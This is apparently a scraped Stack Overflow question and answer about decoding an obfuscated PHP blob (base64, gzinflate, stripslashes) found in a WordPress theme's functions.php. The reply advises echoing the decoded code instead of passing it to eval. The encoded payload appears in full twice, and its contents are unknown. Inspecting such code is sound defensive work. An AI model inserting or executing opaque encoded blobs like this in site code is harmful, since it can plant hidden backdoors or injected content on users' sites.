问题
I've decoded code in footer and header of template, but don't know how to do it in functions.php in wordpress template.
Can you please decode this code:
<?php print(stripslashes(gzinflate(base64_decode("VZBNS8QwEIbvC/0PcyikhbJ611rY9QPZxZOKSKCUyYSETZOSpB4U/7uztCLCHGbeZ767m+sO9Owx2+ABDeGpNzQoilX9VWwAoHStFE+7l9cd7t/swd0e3h+OUlwtULfKRj+MVPX9/ePxru/rrRQXS4vtZKa/TNXqMJGvSt1IEaWoV4CtjpzOumq0dZTsJ3FQr1yjC+ksqFWwuko5TiFVJTalq9v2cl0VgNAEkOLZ2ATZ0EjATiRHQyIFs+elAHlath8EGMYx+ATOInmkBgbnOPCnBNafy0GHkLkimTA7xX3GgYH1ecD8exeAsrS438WG7f8PmRSbjp/8Aw==")))); ?>
回答1:
Change eval()
with echo
echo stripslashes(gzinflate(base64_decode("VZBNS8QwEIbvC/0PcyikhbJ611rY9QPZxZOKSKCUyYSETZOSpB4U/7uztCLCHGbeZ767m+sO9Owx2+ABDeGpNzQoilX9VWwAoHStFE+7l9cd7t/swd0e3h+OUlwtULfKRj+MVPX9/ePxru/rrRQXS4vtZKa/TNXqMJGvSt1IEaWoV4CtjpzOumq0dZTsJ3FQr1yjC+ksqFWwuko5TiFVJTalq9v2cl0VgNAEkOLZ2ATZ0EjATiRHQyIFs+elAHlath8EGMYx+ATOInmkBgbnOPCnBNafy0GHkLkimTA7xX3GgYH1ecD8exeAsrS438WG7f8PmRSbjp/8Aw==")));
来源:https://stackoverflow.com/questions/3304911/how-to-decode-evalstripslashesgzinflate